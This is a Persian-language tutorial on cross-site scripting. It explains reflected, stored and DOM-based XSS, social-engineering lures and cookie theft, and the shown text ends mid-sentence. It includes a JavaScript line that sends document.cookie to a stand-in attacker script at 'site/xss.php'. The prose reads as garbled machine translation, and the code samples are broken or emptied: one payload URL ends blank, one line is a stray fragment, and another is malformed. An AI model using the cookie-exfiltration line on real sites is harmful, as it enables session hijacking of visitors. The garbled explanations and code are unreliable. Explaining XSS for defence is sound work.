اسکریپت بین سایتی (به اختصار XSS) یک آسیب پذیری گسترده است که بر بسیاری از برنامه های کاربردی وب تأثیر می گذارد. به مهاجم اجازه تزریق می دهد کد مخرببه یک وب سایت به گونه ای که مرورگر کاربر بازدید کننده از سایت این کد را اجرا کند.

معمولاً برای بهره برداری از چنین آسیب پذیری، برخی از تعاملات با کاربر مورد نیاز است: یا کاربر با استفاده از سایت آلوده به سایت آلوده اغوا می شود. مهندسی اجتماعی، یا فقط صبر کنید تا از این سایت بازدید کند. بنابراین، توسعه دهندگان اغلب آسیب پذیری های XSS را جدی نمی گیرند.

اما اگر آنها حذف نشوند، این می تواند یک خطر امنیتی جدی ایجاد کند.

تصور کنید که در پنل مدیریت وردپرس هستیم، اضافه می کنیم محتوای جدید. اگر برای انجام این کار از یک افزونه آسیب پذیر XSS استفاده کنیم، می تواند مرورگر را مجبور به ایجاد یک مدیر جدید، اصلاح محتوا و انجام سایر اقدامات مخرب کند. اسکریپت بین سایتی به مهاجم کنترل تقریباً کاملی بر مهمترین آنها می دهد نرم افزاراین روزها یک مرورگر است.

XSS: آسیب پذیری تزریق

هر وب‌سایت یا برنامه‌ای دارای چندین نقطه ورود داده است - فیلدهای تا خود URL را تشکیل می‌دهند. ساده ترین مثال ورودی زمانی است که یک نام کاربری و رمز عبور را در یک فرم وارد می کنیم:

نام ما در پایگاه داده سایت برای تعامل بعدی با ما ذخیره خواهد شد. حتما وقتی در هر سایتی مجوز داشتید، احوالپرسی شخصی به سبک «ایلیا» خوش آمدید دیدید.

برای چنین اهدافی است که نام های کاربری در پایگاه داده ذخیره می شوند.

تزریق روشی است که در آن دنباله خاصی از کاراکترها به جای نام یا رمز عبور وارد می شود و سرور یا مرورگر را مجبور می کند تا به روش خاصی که مهاجم نیاز دارد پاسخ دهد.

اسکریپت بین سایتی تزریقی است که کدی را تزریق می کند که اقداماتی را در مرورگر از طرف یک وب سایت انجام می دهد. این می تواند هم با اعلان کاربر و هم در پس زمینه بدون اطلاع او اتفاق بیفتد.

حملات XSS سنتی:

منعکس شده (غیر دائمی).

یک حمله XSS منعکس شده زمانی آغاز می شود که کاربر بر روی یک پیوند ساخته شده ویژه کلیک کند.

این آسیب‌پذیری‌ها زمانی رخ می‌دهند که داده‌های ارائه شده توسط یک سرویس گیرنده وب، معمولاً در پارامترهای درخواست HTTP یا فرم HTML، مستقیماً توسط اسکریپت های سمت سرور برای تجزیه و نمایش صفحه نتایج برای آن مشتری، بدون پردازش مناسب اجرا می شوند.

ذخیره شده (دائمی).

XSS ذخیره شده زمانی امکان پذیر است که یک مهاجم موفق شود کد مخرب را به سروری تزریق کند که هر بار که به صفحه اصلی دسترسی پیدا می کند در مرورگر اجرا می شود. یک مثال کلاسیک از این آسیب‌پذیری، انجمن‌هایی هستند که اجازه نظرات را در قالب HTML می‌دهند.

آسیب پذیری های ناشی از کد سمت سرویس گیرنده (جاوا اسکریپت، ویژوال بیسیک، فلش و غیره):

همچنین به عنوان مدل های DOM شناخته می شود:

منعکس شده (غیر دائمی).

همانطور که در مورد سمت سرور، تنها در این مورد امکان حمله به دلیل پردازش کد توسط مرورگر وجود دارد.

ذخیره شده (دائمی).

مشابه XSS ذخیره شده در سمت سرور، فقط در این مورد، مؤلفه مخرب در سمت سرویس گیرنده با استفاده از ذخیره سازی مرورگر ذخیره می شود.

نمونه هایی از آسیب پذیری های XSS.

جالب اینجاست که در بیشتر مواردی که این آسیب‌پذیری توضیح داده می‌شود، با کد زیر می‌ترسیم:

http://www.site.com/page.php?var=

دو نوع آسیب پذیری XSS وجود دارد - غیرفعال و فعال.

آسیب پذیری فعالخطرناک تر، از آنجایی که مهاجم نیازی به فریب قربانی از طریق یک پیوند خاص ندارد، او فقط باید کد را به پایگاه داده یا برخی از فایل ها در سرور تزریق کند. بنابراین، تمام بازدیدکنندگان سایت به طور خودکار قربانی می شوند. می توان آن را به عنوان مثال با استفاده از تزریق SQL (تزریق SQL) ادغام کرد. بنابراین، شما نباید به داده های ذخیره شده در پایگاه داده اعتماد کنید، حتی اگر در هنگام درج پردازش شده باشند.

مثال آسیب پذیری غیرفعالرا می توان در همان ابتدای مقاله یافت. مهندسی اجتماعی قبلاً در اینجا مورد نیاز است، به عنوان مثال، نامه مهمی از مدیریت سایت با درخواست برای بررسی تنظیمات حساب خود پس از بازیابی از یک نسخه پشتیبان. بر این اساس، شما باید آدرس قربانی را بدانید یا فقط یک لیست پستی هرزنامه یا پست در برخی از انجمن ها ترتیب دهید، و حتی این واقعیت نیست که قربانیان ساده لوح باشند و پیوند شما را دنبال کنند.

علاوه بر این، هر دو پارامتر POST و GET می توانند در معرض آسیب پذیری غیرفعال باشند. البته با پارامترهای POST باید به سراغ ترفندها بروید. به عنوان مثال، تغییر مسیر از سایت مهاجم.

">

بنابراین، آسیب‌پذیری GET کمی خطرناک‌تر است، زیرا تشخیص دامنه اشتباه برای قربانی آسان تر از آن است پارامتر اضافی(اگرچه url را می توان اصلاً رمزگذاری کرد).

دزدیدن کوکی ها

این متداول ترین مثال از حمله XSS است. سایت‌ها گاهی اوقات برخی از اطلاعات ارزشمند را در کوکی‌ها ذخیره می‌کنند (گاهی اوقات حتی لاگین و رمز عبور کاربر (یا هش آن)، اما خطرناک‌ترین آنها سرقت جلسه فعال است، بنابراین فراموش نکنید که روی پیوند "خروج" در سایت‌ها کلیک کنید، حتی اگر باشد کامپیوتر خانگی. خوشبختانه، در اکثر منابع، طول عمر جلسه محدود است.

Varimg = New Image(); img.src = "http://site/xss.php؟" +document.cookie;

بنابراین، ما محدودیت های دامنه را در XMLHttpRequest معرفی کردیم، اما این برای یک مهاجم ترسناک نیست، زیرا وجود دارد